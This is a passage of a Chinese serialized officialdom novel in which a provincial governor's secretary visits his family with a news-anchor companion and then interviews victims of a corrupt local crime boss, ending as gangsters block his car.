那时候,李承还在考公,是一个没工作,没存款的穷光蛋。 在秦虹父母的强硬态度下,两人被迫分手。 如果当初秦虹的父母同意,或许两个人的孩子都该上幼儿园了。 “没这个必要,都过去这么多年了,我也不想打扰别人的正常生活。”李承摇了摇头,说。 “秦虹这些年跟她父母赌气,到现在也没嫁人,让她父母知道,也是给她出口气。” 柳思瑶大眼睛一转,笑眯眯的看着李承:“你结婚了没?” “没呢。”李承说。 “你是不是心里还有秦虹呀?”柳思瑶坏笑着,问。 “都过去了,人嘛,要向前看。”李承说。 “你倒是想得开,一看就是有心上人了吧。” 对于柳思瑶的提问,李承只是笑了笑,算是回答了她。 “你结婚了吗?”李承问。 “我?嘿嘿嘿....” 被问到这个问题,刘思瑶嘿嘿一笑:“我都马上要二婚了,头婚你没赶上,二婚记得随份子呀,李大秘书。” “好啊,一定到场。” “加个微信。” 两个人之前是有微信的,但李承跟秦虹分手后,柳思瑶‘仗义’的删掉了李承。 时隔多年过去,她也觉得当初的行为有些幼稚,便主动加上李承的微信。 两人刚加好微信,柳思瑶还想继续跟李承聊会时,一众领导从会议室走了出来。 “我先过去了。” 李承见状,低声跟柳思瑶招呼一声,立马迎了上去。 ..... “你在省委还有熟人呢?” 回省政府的路上,孟良德随口问道。 “我大学同学,她在宣传部工作,刚好今天遇到就聊了两句。”李承如实回道。 “步入社会后,同学情也要维护好。”孟良德像一位家长似的,叮嘱说。 “嗯。” 李承微微点头,笑着问:“老板,看样子常委会议很顺利呀。” 孟良德的表情始终古井无波,让人看不出情绪。 但李承跟在他身边这么久,对于孟良德的情绪还是能感知到一些的。 开完会议,孟良德的心情还是不错的。 “很顺利。”孟良德道。 今天的省委常委会议,主要围绕几个人事任命。 其中就包括省政府秘书长的人事任命,可以确定,在这场会议之后,杨兆华就要成为省政府的新任秘书长。 “关于锦绣开发商的抓捕,公安厅那边,有没有新的进展?”孟良德问。 “常厅长说,维瑞利亚那边愿意配合抓捕,正在调查锦绣置业老板黄天耀的下落,我省警方也赶往了维瑞利亚。 预计国庆假期结束,就能将犯罪嫌疑人抓捕归案。”李承汇报道。 跟进省长安排下去的每一个任务,同样是李承这位专职秘书的职责。 这些事情,他都会时不时的询问下属单位,确保孟良德问起来时,能够准确回答。 如果省长在询问秘书时,秘书一问三不知,临时再去沟通,那么就是秘书的失职行为。 “一拖再拖,我看啊,就是再有一个月的时间,人也抓捕回来!”孟良德语气一冷,表现出严重的不满。 的确,上一次常百利承诺半个月内抓捕归案,这都过去一个月的时间,还在拖延。 不怪孟良德发火。 第63章 回家 【承哥,明天国庆,你们休息吗?】 躺在家里的沙发上,李承休闲的看着电视机时,许梦的消息发了过来。 孟良德已经坐上了晚上七点的飞机,赶回了京城,陪家人过节。 省长走了,他作为秘书,便不用时刻等待吩咐,心情也放松了许多。 【休息,你呢?】李承问。 【我们也休息,不过需要轮班,十月五号就要上班了。】 【你这几天有时间陪我吗?】 许梦连续发了两条消息,期待的问。 【我要回一趟老家,你十月一不回去吗?】李承问。 【不回去了,太折腾了。】 许梦回复后,配上了一个失望的表情。 李承知道,许梦想要陪在自己身边。 想了想,李承编辑了一条信息过去:【要不,你跟我一起去封兰玩几天?】 【方便吗?】 看到李承准备带自己回老家,许梦心情十分喜悦。 【方便。】李承回。 【好啊,好啊。】许梦秒回。 【嗯,明天早上我去接你。】 .... 次日是十月一国庆长假。 李承这次回家,不仅是陪伴家人,还要调查关于海森市陈志伟之事。 所以,孟良德特意将自己的专车留给李承调动。 省长专职秘书的工作证,可以代表省长,但办事调查过于麻烦,只有亮出证件对方才会配合。 可赶上了国庆假期,就算是亮证,很多人员都放假,也会给调查增加阻碍。 所以,相比于工作证,省长专车就更能体现身份。 拿着工作证,需要主动去找别人调查办事,坐着省长专车,很多领导会主动前来拜访配合。 “李秘书,这么多东西呀?” 王师傅看到李承大包小裹,拎了很多东西,连忙下车帮忙打开后备箱。 “很久没回家了,自己不能陪在身边,他们老两口平日节省惯了,这些东西都不舍得买。” 李承将东西放进后备箱,拉开车门,坐在了副驾驶。 “李秘书很有孝心呀。”王师傅微笑说。 “这次回封兰,耽搁你陪伴家人的时间了,辛苦了,王师傅。”李承塞了两包中华香烟给王师傅,说。 这次回封兰,王师傅属于是加班出公差。 正常的话,这个时间他也可以陪着家人一起。 “李秘书,你这太客气了,不用。”王师傅婉拒他的烟。 “拿着,路上抽。”李承态度坚定。 “呵呵呵...那好。” 王师傅憨笑的收下香烟,说:“谈不上辛苦,我家人都在汉江,放不放假对我来说都一个样。” “嗯,我们先去一趟省电视台,接个朋友。”李承说。 “好。” 半个小时后,李承停在省电视台宿舍楼下,许梦已经等候于此。 在她的手里,同样也提着不少东西,还有一个皮箱。 “你拿这么多行李呀?” 李承打开后备箱,将许梦的皮箱放了进去。 “这些补品是给叔叔阿姨买的,皮箱里是我的衣服和化妆品。”许梦笑容灿烂,令人心旷神怡。 “去串个门还这么客气干嘛。”李承说。 “第一次见你父母,总要留下好印象的嘛。”许梦小手背在后面,一副调皮的样子。 这话听到李承的耳朵里,却有一点耐人寻味。 好像有种第一次领女朋友见家长似的。 接上许梦,汽车开往了封兰市。 从汉江到封兰,四百多公里的路程。 他们早上八点出发,将近下午一点才赶到了家。 “儿子回来了,快进屋,你大姑他们都在,就等你吃饭了。” 刚进家门,母亲董丽就迎了上来,布满皱纹的脸上堆积着笑容,这是发自内心的亲切与喜悦。 “这两位是?” 李承进门后,董丽看到了李承身后的王师傅和许梦,好奇的问。 “这位是我的同事王强,这位是许梦...”李承在介绍到许梦时,微微沉吟。 两人是朋友? 可感情却已经逾越了朋友的关系。 恋人? 却还没有确认恋人的身份。 这种朋友之上,恋人未满的关系,让他不知如何是好。 “阿姨好,我叫许梦。” 正在这时,许梦彬彬有礼的自我介绍,打破李承的尴尬:“这是给您和叔叔买的东西,希望您不要嫌弃。” “哎呀,这么破费干什么,家里什么都不缺,快进,你们都进来坐,这姑娘长得可真带劲儿啊。” 董丽热情的将两人请进客厅,有些不满的瞥了李承一眼:“带朋友来也不知道提前告诉我一声,我好多准备几个菜,你真是的。” 李承的父母虽然已经搬到了市里生活,但骨子里还有农村人的那种朴实,热情。 生怕招待不周。 “没那么多讲究,没关系。”李承说。 “这女孩是谁呀?对象?”董丽低声笑盈盈的问。 儿子也老大不小了,同村像她这个年纪的人,早就抱上了孙子,董丽心里也焦急的很。 “嗯,算是吧。”李承敷衍了一句,走进客厅。 见儿子点头,董丽笑开了花。 许梦长相漂亮,又很懂礼貌,是一个好姑娘。 见面第一眼就很合她的心。 “爸,大姑,小叔....” 客厅里,已经摆上了桌子,家里来了不少的亲戚。 “李承回来了。” 亲戚们也纷纷跟李承回应。 “哎,这个姑娘看起来有点眼熟呢,有点像晚间新闻的主持人。”李承的爸爸,李广义端详着许梦,突然开口说。 李广义很热爱看新闻节目,紧跟时事。 七点的新闻联播,还有八点的省台晚间新闻,都是他每日必看节目。 “是呀,刚进门的时候我就觉得熟悉,真像呀。”董丽说。 “不是像,简直就是一个模子刻出来的。”李承的大姑说。 “不对。” 就在李承和许梦相视一笑时,董丽语气认真的说了声不对,然后她目光又在许梦脸上定了定,道:“你叫许梦,你不会就是那个主持人吧?” “是的阿姨,现在的晚间新闻由我主持。”许梦莞尔一笑,点头。 “不是吧,这...” 确认许梦的身份,想到自己未来儿媳居然是省电视台的主持人,董丽已经激动到语无伦次。 李承看着家里人一个个惊疑不定的表情,笑了笑:“好啦,吃饭吧,大家都等这么久了。” 第64章 李华 饭局其乐融融。 大家都对许梦这位新闻主持人投去了最亲切的关怀和照顾,甚至连李承都被凉到了一遍。 董丽笑的十分灿烂,满眼都是对许梦的喜爱之色。 不停对许梦问东问西。 许梦似乎也很享受被李承家人的重视,始终面带亲切的微笑,句句有回音,还不停夸赞董丽饭菜做得好吃。 “李承,女朋友这么优秀,你们两个准备什么时候结婚呀,到时候大姑给你们包个大红包,呵呵呵....” 大姑看着李承,露出欣慰的笑容。 从小到大,这些亲戚里面,最疼李承的人就是大姑。 听到谈及结婚,李承表情有些尴尬,他和许梦还没有确定男女朋友,也不知道许梦听到后,作何感想。 正当李承准备随口敷衍一句时,许梦娇羞的低下头,那种绝美的脸颊浮现一抹红润:“我都可以,听承哥的。” 闻言,李承微微一怔。 她这是想跟自己结婚?? “大姑,我们还在相处阶段,工作目前也不是太稳定,再等等。”李承微笑说。 但他看向许梦的目光里,充满了温柔。 “你也老大不小了,该考虑结婚了,大姑也老了,再过几年可看不了孙子喽。” “大姑你身体这么硬朗,别说孙子,重孙子都能看,哈哈哈。”李承笑着迎合一句。 ‘咚咚咚...’ 正在一家人欢声笑语时,门外响起了敲门声。 “应该是李华来了。” 二婶这时站起身,忙不迭的去开门。 李承带着许梦回家,全家人都为李承感到高兴,唯独二叔一家除外。 李承这一代,只有两个男丁,就是自己和堂弟李华。 二婶又是一个事事爱攀比的人,总拿自己儿子和李承比。 李承与李华是同年出生,毕业后,两个人都考了公。 李承考进了汉江市审计局,李华则考进了封兰市财政局,一年前被调到了宁平县,当上了县财政局的副局长,也算是年少有为。 “都吃上了呀?” 李华走进客厅,看到家里人都在吃饭,没有等他,脸色稍显不悦。 “小华,给你留了位置,我去给你盛饭。”董丽笑呵呵的站起身,热情邀请。 “别忙活了大娘,我这个人不喜欢吃别人剩的菜。” 李华拿出一包和天下香烟,塞进嘴里,点燃。 语气里,透露着浓浓的不满。 “哎呦,这不是省台主持人许梦吗?你好。” 他的目光在李承几人身上打量一圈,一眼便认出了许梦,也被许梦本人的美色给惊艳住。 他主动伸出手,与许梦握手。 “你好。” 想着对方是李承的亲戚,许梦站起身,跟他握了握手。 “本人可比电视上看着漂亮多了啊,自我介绍一下,我叫李华,是宁平县财政局的副局长。” 他的手紧紧握着许梦,没有松开的意思,看向许梦的眼睛色眯眯的,很猥琐。 “哦哦。”许梦点了点头,想要抽回手,却被对方紧紧握着。 “欢迎你以后到宁平县来做客,我带你去....” “说话就说话,手不用一直握着。” 李华的话没说完,李承直接打开他的手,不悦的道。 被李承制止,李华心中不爽,冷哼一声。 “我们家小华现在可出息了,三十岁就当上了财政局副局长,用不了几年啊,就能到市里当局长,未来什么市长,市委书记,都有可能呢。” 二婶连忙炫耀起自己的儿子。 她也是农村人,对于官场上的职位级别了解很浅薄。 她只知道,她儿子是副局长,李承是秘书。 在她的印象里,副局长就是二把手,而秘书就是一个打杂的。 “大姐,二姐,以后啊,你们还得靠我家李华帮扶着你们,他人还在封兰工作。 不像某些人,跑到了省城去,以为自己能闯出一番事业,结果就是一个端茶倒水的小秘书,一辈子都难成大器了。” 二婶继续阴阳怪气的说着。 刚才,她看着家里人对李承和许梦一顿夸奖,她心里早就不爽了。 终于等到李华过来,能够好好炫耀一番。 对于这种无知的人,李承懒得计较。 “你不是在审计局上班吗?怎么跑去当秘书了?哈哈哈。” 李华对于李承的工作并不了解,李承做秘书,也是刚刚在饭桌上,王师傅喊了他一声李秘书。 李承也就随口解释了一句,才被二婶听见。 在知道李承成了秘书后,李华笑容更加不屑:“秘书好啊,端茶倒水,工作悠闲,不像我,每天工作应酬都很多。 你这是提前步入了退休养老生活,让人羡慕啊,哈哈哈。” 听到这些挖苦,作为朋友,王师傅不乐意了。 “一个副科级的副局长,这辈子能不能爬到处级都未必,还在嘲笑李秘书,呵呵...” 王师傅冷笑两声,满脸的鄙夷之色。 他虽然只是一个司机,但他可是省长的司机,放在省城,像李华这种副科干部连给他递烟的资格都没有。 王师傅的鄙夷,也并非是单纯的贬低。 现在国家越来越重视干部年轻化。 官场上流传一句话,叫三十不提科,四十不提处。 意思是,如果三十岁之前不提到正科级,四十岁之前也就很难提升到处级。 那么,这个人的仕途天花板,一辈子大概就止步于科级。 “你他吗是哪根葱呀,这里有你说话的份吗?” 王师傅的这番话,无疑是戳中了李华的痛楚,他十分清楚自己的处境。 所以,当王师傅当着家人面说出真相时,他感觉颜面扫地。 “李华,这是我家,王哥是我的客人,这里没有你讲话的份!” 听到李华带脏话的骂王师傅,李承将筷子一摔,冷声呵斥。 “李承,你他吗的装什么逼,谁他妈稀罕来...” ‘咚咚咚...’ 正在李华愤怒回怼时,一阵敲门声打断了他。 “都别吵了,都是亲戚,干什么呀。” 董丽劝了一句,转身去开了门。 “你们是?” 房门打开,董丽看着门外几个陌生面孔,纳闷的询问道。 “您好,请问这是....” 对方的话还未说完,看到门口来人的李华一个箭步冲了上去:“徐市长,您好。” 第65章 区别 “我是宁平县财政局的副局长李华,徐市长,之前你来我们县视察工作时,我们见过面,呵呵呵....” 李华殷切的伸出双手,点头哈腰,像个孙子似的。 “你好。” 封兰市市长徐江并不会记得一个小小的县财政局局长,但想着这里是孟省长秘书的家,对方与李秘书可能存在亲属关系,也就礼貌的握了握。 “徐市长,上回您的讲话,我是记忆犹新,对我的触感很深....”李华滔滔不绝的讨好起了徐江。 客厅里,不明所以的二婶,看到自家儿子能跟市长搭上话,笑容更得意。 “看见没,市长都跑过来见我儿子,未来我儿子潜力无穷,就这么说,我儿子才能给老李家光宗耀祖,是老李家祖宗八代积德的福报。” 虽说,自己儿子在市长面前像孙子一样讨好对方,但在她看来,只要能跟市长搭上话,那就是骄傲。 “李华是真出息了,市长都过来了。” 二姑看徐市长到来,也不禁对李华赞不绝口。 人都是势利的,能有一个跟市长攀上关系的亲属,未来也能借上力。 其余家人们,也是纷纷附和起来,夸奖李华有出息。 “那是当然,我们家李华最有出息了,有些人呐,别说跟市长说话,就是市长的面都未必能见得上。”二婶得意扬扬的说。 就在这时,李承站起了身,朝着已经换好拖鞋,走进来的徐市长走去。 “李承,你干什么去,徐市长是来找我们家李华的,你别想借这个机会套近乎。” 二婶看李承起身迎接,立马瞪了他一眼,出声呵止。 李承没有理会他。 但接下来的一幕,却让她,以及在场的所有人傻眼。 “李秘书是吧,你好。” 直接李承刚起身迈出两步,徐江就快步迎了上来,主动跟李承握手。 “徐市长,你好。” 李承跟徐江握了握手,微笑点头。 从简单的握手,这种反差就能够力判高低。 李华是鞠躬哈腰的讨好着跟徐江握手,徐江只是敷衍的回应。 而李承身体挺直,动作轻慢。 徐江却要快步来到他面前,主动跟他握手。 谁高谁低,尽在不言中。 “马上中秋了,带了点东西给叔叔阿姨,不成敬意。”徐江说着,目光看向身后陪同的秘书。 严格意义上,市长是没有配备秘书的。 但实际工作中,会有专人协助处理政务,这些人非正式秘书职位,却从事着相同工作,同样属于秘书。 秘书会意,将两个礼品盒递了上来。 “徐市长不用客气,东西拿回去吧,有纪律的。”李承婉拒道。 “这些都是我自掏腰包买的,不是很贵重,一点心意,李秘书是我们封兰市走出去的优秀党员干部,给我们封兰市争光啊,哈哈哈。” 徐江委婉的强调了东西的正规来路,以及价值,让李承能够收的安心。 “那就谢谢徐市长的好意了。”李承欣然收下。 礼尚往来是正常,孟良德在东江省的任期就那么几年,趁着自己还是他的秘书,结交一些官员,也是好事。 “我们是看到了孟省长的专车莅临我市,孟省长也来了吗?”徐江亲切的询问着。 各个高速口都有执勤人员,这些人的工作之一,就是观察有没有领导的专车莅临。 在孟良德专车进入封兰市时,就已经被注意到了。 “省长回京探亲了,没有过来。”李承道。 “李秘书这次回封兰,除了探亲之外,还有什么工作安排,我们市政府一定极力配合。” 李承回来,坐的是孟良德专车。 这就代表着,李承除了探亲之外,还有孟省长授意的工作安排。 “孟省长最近接到了些举报问题,派我来查明真相,不是什么大问题,有需要的话,一定联系徐市长。” 李承并没有说明自己要调查的人是谁。 每个市,都有一张复杂而庞大的关系网,陈志伟家族能够猖獗这么多年,保不准跟徐江都有关系。 所以,这种事不便提前泄露。 “是关于什么方面的举报?”徐江警惕的追问。 “一些农业方面的。”李承编造了一个谎言,说。 “哦哦,今年收成不好,民众怨气大,让孟省长和李秘书费心了。”徐江微微点头,说。 “都是为了百姓服务。” 客气几句,李承请他们入座,徐江以不打扰李承家庭聚餐,委婉告辞。 他们临走时,李承特意挑选了几样礼品,作为回礼送给了徐江。 礼尚往来,任由谁都挑不出毛病。 徐江走后,客厅内陷入了短暂的安静。 李华已经傻眼了,他万万没想到,自己需要敬仰和讨好的人物,居然以一种平视,甚至是低姿态的方式面对李承。 这种巨大的落差感,让他感到恍惚。 “小承,你是在哪当秘书啊,怎么徐市长都要过来见你。”李广义惊诧的说。 “叔叔,承哥现在是孟省长的专职秘书。”许梦替李承回答道。 “哎呦,给省长当秘书,我家小承可真出息了。” 董丽眉开眼笑,说话时,目光还看向了李承的二婶,眼神尽是得意。 对方之前那么贬低李承,如今李承出息了,她当然也觉得骄傲。 “给谁当秘书,不还是秘书,又没什么权力,挺多就是皇帝身边的太监呗。”二婶嘟囔了一句,心里却是嫉妒的很。 “你怎么说话呢,什么叫太监。” 李广义闻言,很是不悦,他瞪着对方:“我们家好心请你吃饭,你别没完没了。” “谁稀罕吃你家的饭,我....” “妈,你别乱说话了。” 这一次,打断她的人是她的亲儿子李华。 李华近乎于是呵斥的口吻说完,脸上勉强堆积起笑容。 他拿起一个空杯,倒满一杯啤酒,看向李承:“哥,之前是我态度不好,咱们都是一家人,你别跟我一般见识,这杯酒我敬你。” 他妈是农村人,不知道省长秘书的含金量有多高。 可他身为公职人员,清楚的很。 如果能够讨好李承,李承可能只需要一通电话,就能将他的副科转正。 对于李华的敬酒,李承并没有端杯:“我们家的剩菜剩饭招待不好你这位大局长,酒就更不用喝了。” 第66章 恶行 ‘咚咚咚...’ 次日早上,李承提着早餐,来到的酒店,敲响了许梦的房门。 李承昨晚是在家里住的,他在楼下的假日酒店,给许梦和王师傅开了两个房间。 李承先给王师傅送去的早餐,才给许梦送,这也有他的私心。 他想在这种单独的空间里,和许梦多待上一会儿。 “承哥,你这么早就来了。” 房门打开,许梦揉了揉眼睛,她是刚被李承的敲门声给吵醒的。 “打扰到你休息了吧。”李承说。 “没有。” 许梦摇了摇头,让开门。 李承走进房间,拉着窗帘,房间里有些昏暗。 空气中弥漫着淡淡的特殊香气。 “吃点早餐吧。” 李承将早餐放在桌子上,准备去拉开窗帘。 “承哥,睁开眼睛就能看到你的感觉,真好。” 许梦从后面抱住了李承,像一只撒娇的小猫,贴在他的身上。 李承顿住脚步,握住许梦纤细的手,享受着这种单独时光。 “如果你每天早上睁开眼睛就能看到我,会不会烦呢?”李承柔声反问。 “不会。” 许梦轻轻摇头,李承可以清晰感受到,许梦的脸在自己后背上蹭。 “那是我非常向往我的生活,承哥,我想让我的生活里,每天都有你在。”李承深情的说。 这些天里,李承能够感受到许梦对自己的真心。 可作为孟良德的秘书,他也有些疑心。 他担心许梦表现的一些都是演戏,他担心许梦只是以一种更高明的手段接触他的位置,目的,却和那些投怀送抱的女人一样。 “以后会有机会的,先吃饭吧,等下我们还有事要办。” 在来之前,李承跟许梦提过自己此事回封兰的另一个任务,作为新闻记者,许梦表示愿意跟随李承。 正好也当做是收集素材,说不定此事后续要报道。 “好。” 许梦享受的抱着李承一会儿后,这才松开了手。 李承拉开窗帘,帮她将早餐包装袋解开,陪着她一起吃饭。 半个小时后。 一行人从酒店离开,直奔海森市。 作为封兰市的下属县级市,路程只有五十多公里。 一个小时左右,汽车便抵达了海森市牡丹小区三幢楼下。 首要任务,不是去调查陈志伟,而是先去找到举报人核实情况。 ‘咚咚咚...’ “谁呀?” 李承敲响房门,里面传来一个雄浑男声的询问。 “你好,我找白兵。”李承说。 ‘咯吱’ 房门打开,一个赤裸上身,纹龙画虎的壮汉站在门口:“我就是白兵,你们是什么人?” “我是东江省孟良德省长的秘书,我姓李,省长接到了你的实名举报信,我过来核查情况,这是我的证件。” 李承亮出工作证,说。 “奥,李秘书你们好,请进。” 听到李承等人的身份,白兵有些惊讶,惊讶之余是欢喜。 他客客气气的将李承几人请进了屋子。 整个家,就只有他一个人。 房子很大,光是客厅就有一百多平的面子,房间也被打扫的很干净。 “我是真没想到,省里居然真派人来调查了,哎呦我草,李秘书,我看到你来,简直就跟看到光一样。” 白兵给李承三人拿了饮料,殷勤的说着好话。 这些话甚至有些肉麻,不像是一个五大三粗的纹身壮汉能说出来的。 “你言重了,省里收到的举报信,都会处理。”李承坐在客厅的沙发上,说。 “拉鸡把倒吧,我从五年前就开始举报,这些年也没人处理呀,说实话,我都他妈的不抱有什么希望。” 白兵坐在李承对面,大咧咧的控诉道。 “你先把衣服穿上,这里还有女同志在,还有,注意一下文明用语。”李承微微皱眉,提醒道。 “好,好。” 白兵连连点头,套上了一个半截袖。 “你说你五年前就开始举报,这些年没有人处理吗?” 作为专业的媒体人,许梦率先发问,她的问题往往都是为了收集素材,而会产生吸引观众眼球的问题。 但像这种问题,李承是不会问的。 问了也没什么意义。 省里收到举报信,匿名举报基本不会太重视,毕竟省长公务繁忙,匿名举报里,很多还会出现参假情况。 最重要一点,因为是匿名,所以无法联系到举报人,进行核实,基本就是冷处理。 除非是对于举报对象,既有实名又有匿名,匿名的举报信才会作为一个参考价值。 而实名举报信,大多数都会下发下去,给当地的政府或信访部门进行处理。 举报信一旦落入当地官员手里,一些有实力的被举报人,就有操作空间。 所以,白兵这些年的举报,石沉大海也是情理之中。 “没人处理,就前年我带着人去省里上过一回访,这才有人搭理我,但也是屁用没有。 陈志伟给徐市长买了套海景别墅,这事也就被压下去了。” 白兵无奈的叹了口气,说。 听到徐市长的名字,李承眉头皱得更深。 还好自己昨天没有对他谈到调查陈志伟之事,不然,对方一定能提前警惕起来。 “你是怎么了解这么多的?”李承问。 从白兵房子的面积,装修的豪华,还有他能清楚知道陈志伟给徐市长送别墅就可以判断,这个白兵也并非普通百姓。 “我之前开砖厂,在当地也有很多人脉,想了解这些不难。” 白兵回答后,继续道:“我是看了新闻,知道最近省里换了新省长,新省长还帮助百姓解决了锦绣广场的问题。 就想写几封举报信试试,我是真没想到,你们居然能来。” “嗯,说说你的举报问题。”李承道。 “我是开砖厂的,陈志伟搞建筑,我们合作过。 合作的前几个月还算顺利,后来他就找各种理由拖欠货款,足足欠了我五百多万。 我管他要钱,他不给,我就断了他的供应,结果这家伙居然带着人明抢。 我多次报警都被他压了下来,不仅如此,他还变本加厉,利用和本地领导的关系,还有他手底下养的那群打手,直接抢走了我的砖厂。 导致我直接,间接损失了起码四千多万,李秘书,你们得给我做主啊。” 第67章 直白话 白兵所讲的这些,李承在他的举报信中都看到过。 对此,已经有了了解。 “你在举报信中提到,陈志伟曾开枪杀过一位无辜男生,这是怎么回事?”李承问。 举报信中,白兵对此事一概而过。 但在其他关于陈志伟的举报信里,有一封匿名举报信,也讲述了这起枪杀案。 “这事都过去二十多年了,陈志伟的父亲当年是海森市当年有名的富商,在他的关系运作下,将他的两个儿子,一个女儿都送到海森市公检法部门。 陈志伟当年就被安排到了辖区派出所工作。 有一次,他们喝酒闹事,在歌舞厅跟人起了冲突,陈志伟就掏出了配枪,结果子弹打歪了,射中了隔壁桌的一个男生。 男生当场死亡。”白兵讲述道。 “那这件事后来是怎么处理的?陈志伟被判了多久?”李承问。 “判?没判。”白兵点燃一根香烟,轻哼了一声。 “那他是怎么逃脱法律制裁?”许梦纳闷的追问。 “很简单啊,他爸给海森市的一把手,公安局的局长,都打了电话,承诺送钱送车。 然后,这件事就从一起闹事杀人案,变成了一起制止公安安全的勇敢举动。 官方的人到场后,就封锁了现场,将一把刀沾上了男生的指纹,还找了一个女孩装成受害者。 那个被杀的男生,被冠上了准备持刀行凶的罪犯,陈志伟成为了口头制止无效,最终开枪击毙歹徒的正义角色。 后来,陈志伟家里威逼利诱,让男生的家里都闭了嘴。 因为这件事,陈志伟还成了‘英雄’,被提拔到了刑侦大队当副队长。” 听完白兵的讲述,李承只觉得不可思议。 杀人凶手,成为了英雄? 李承想过陈志伟家里运用关系,帮他减刑。 想过他们买通官员,给陈志伟直接进行保外就医,让他可以自由在外面活动。 就是没想到,这件事居然是以一种如此魔幻的方式结束。 “这也太黑暗了。” 许梦瞠目结舌,她甚至不相信这种事情发生在国内。 “你是怎么了解这么多的?”李承问。 白兵是近些年才跟陈志伟有合作,按理说,他不该知道这么多的内幕消息。 “这不是什么秘密,陈志伟喝多了酒,总会自己提到这件事,拿出来跟我们装逼,也算是给我们下马威吧。”白兵道。 自己杀人事件,能够随便的向外人吐露,可见陈志伟为人是多么狂妄。 但李承也不可能只听信他的一面之词,便问:“你能不能找到受害者的家属?” “能,我之前找过他们,想联合他们一起告,但他们害怕陈志伟,不愿意惹事。 就是不知道你们省里来人,他们会不会配合。”白兵想了想,说。 “带我们去。”李承说。 “行。” 在白兵的带路下,李承一行人赶往了东城镇,幸华乡。 ‘汪汪汪...’ 进入院子,栅栏下拴着的狗开始狂吠起来。 像是要挣脱锁链,撕咬面前这些不速之客。 “谁呀?” 听到狗叫,屋子的门开了,一个满头白发的老妇人走了出来。 “大妈,是我啊。”白兵喊道。 “你怎么又来了,我这把年纪也想开了,就想过几天安静日子。” 看到白兵,老妇人很是不欢迎。 “这回不是我一个人来,省长的秘书也亲自过来了,就是为了查陈志伟。”白兵介绍所。 听到省里来了人,老妇人微微一怔,在犹豫了片刻后,说:“进屋吧。” 走进屋内。 家里的装修还停留在上世纪八十年代。 柜子上摆了几个照片,有儿童的,有十三四岁少年的,还有二十岁左右的青年。 这些照片都是一个人,却也止步于青年。 李承知道,照片上的人就是被陈志伟意外枪杀的男生。 其中,李承还看到了一张一家三口的合照。 男人谈不上帅,个子却很高。 女人很漂亮,在那个年代的照相技术来看,这女人的颜值,完全不输于陈思琪,李薇儿。 可就是这么漂亮的女人,在痛失儿子后,却变成了一个满头白发,面布愁容的老太太。 “怎么就你自己在家呀,大叔呢?”白兵问。 “死了。” 老妇人卷了一棵旱烟,叼在嘴里点燃后,平静的说。 “啊?啥时候的事?”白兵惊诧的问。 “上半年就死了。” 老妇人吸了一口烟,在她的眼神中看不到半点对于希望的光芒。 “大妈,我是新任省长孟良德的秘书,我姓李,这次过来就是为了二十年前那起枪杀案而来。 省长已经关注到了陈志伟,想请您配合。”李承自曝身份,亮出自己的工作证,说。 “省里的人,就能处理陈志伟吗?他这些年在海森市干了那么多坏事,开得贷款公司,不知道逼死了多少人,也没见有人管。 前年省长来海森市考察,我们拉横幅在街上上访,他的官车连停都不停,指望他们给我们这群底层老百姓申冤,咋可能!” 老妇人边抽边说,语气里尽显怨气。 这些年,他们在维权道路上吃过不少苦,没有半点成效不说,换来的却是陈志伟的报复和威胁。 这让他们已经对政府失去了信心。 “大妈,你说的省长,是上任省长李雪忠,他已经被双开,还被纪委抓起来了。 现在的孟省长刚调任过来,是一位为民尽职尽责的好领导,他这次派我来,就是调查陈志伟犯罪团伙。 我向你保证,这次一定能给你讨回公道。” 李承认真的解释说。 “天下乌鸦一般黑,哼。”老妇人冷哼一声,把头扭到了一边:“我还想多活几年,那个陈志伟,我惹不起。” 她的态度很坚决。 “大妈,你说你丈夫也死了,儿子也死了,就剩你一个老太太也不知道能有几年活头。 我要是你啊,烂命一条,怎么也得趁着没死之前把仇给报了,你说是不是啊!” 正当李承想着怎么继续劝说时,白兵点燃了一根香烟,痞里痞气的说着。 他说的话很难听,但仔细想想,却很有道理。 第68章 截停 听完白冰难听的直白话,大妈没有反驳,而是陷入了沉默。 “你说的对,之前我怕陈志伟报复,是因为我家老头有心脏病,经不起他们折腾,现在老头走了,我一条烂命,什么都不怕!” 沉默了十几秒后,大妈深吸了一口旱烟,眼神坚决。 “这就对嘛,我有钱有家都不怕,你啥都没有怕鸡毛呀。” 白兵叼着香烟,吊儿郎当的说:“你跟李秘书细说说,你儿子的事吧。” 在白兵这种特殊方式的引导下,老妇人开了口。 她的讲述内容,基本跟白兵相同,只不过,更多的诉苦,以及这些年,她们一家所受的威胁。 “我儿子死后,陈志伟托人给了我们家里五万块钱和解,还威胁说,只要我们老两口敢乱说,就让我们没有安生日子过。 但这些年,我给匿名给市里和省里写了不少举报信,连个下来问的人都没有。 反倒是这些举报信最后会落到陈志伟手里,他手下拿着举报信,就会来打砸闹一番。 我老头死,就是被他们给折腾死的....” 听完老妇人的讲述,李承停下记录的笔:“还有什么要补充的吗?” “没了,就这些。”老妇人摇头道。 “嗯,这件事我会向省长反馈,放心,用不了多久,陈志伟及其团伙,一定会得到法律的制裁。” ..... 接下来的半天,李承三人又走访了其他几个实名举报过陈志伟的受害者。 陈志伟的势力在海森市,他的魔爪并未伸向封兰。 所以,受害者们也集中在海森。 挨个访问过,收集到关于陈志伟的罪行信息后,已经是傍晚六点。 李承几人也驱车,准备返回封兰。 “这个白兵说话好难听啊,我都做好被大妈撵出门的准备了,结果没想到,大妈居然还愿意配合。” 车上,许梦回想起上午在老妇人家里的经历,不由感慨道。 “有些话,他能说,我们不能讲,但往往就是他那种人口无遮拦的话,更能触动受害者。”李承道。 白兵说的是大白话,他所传达的意思,也是李承内心的想法。 但那些话,白兵可以讲,李承作为公职人员却不能说。 他要注重自己的社会形象。 “李秘书,我们好像被跟踪了。” 正在李承和许梦闲聊天时,王师傅通过后视镜,看到有几台汽车跟踪自己。 李承回过头,向身后望去。 几台奔驰汽车正朝着他们追来,为首的一台奔驰大G隐有加速超车的架势。 “放缓车速,看看他们要做什么。”李承冷漠的说。 “好。” 在李承的安排下,王师傅踩下刹车踏板,将车速降到了三十迈左右。 ‘轰’ 一道发动机的轰鸣在耳边响起,那台奔驰大G迅速超过了李承所在的车,随后斜着堵在了他们的面前。 王师傅见状,也急忙踩下刹车,在即将撞到对方时,把车子停稳。 奔驰大G截停后。 其他几台奔驰轿车,停在了省长专车的左右。 将汽车所有的路堵死。 紧接着,二三十个混混从各自的车上下来,气势汹汹的将李承等人包围。 “承哥,这怎么办呀?” 许梦看到对方这阵仗,再联想到今天去调查时,那些受害者口中的陈志伟,她害怕了。 “没关系。” 李承轻轻拍了拍许梦的手,笑着安慰。 但此时,他的心情无比阴沉。 对方是何等的猖獗,居然刚截停省长专车! 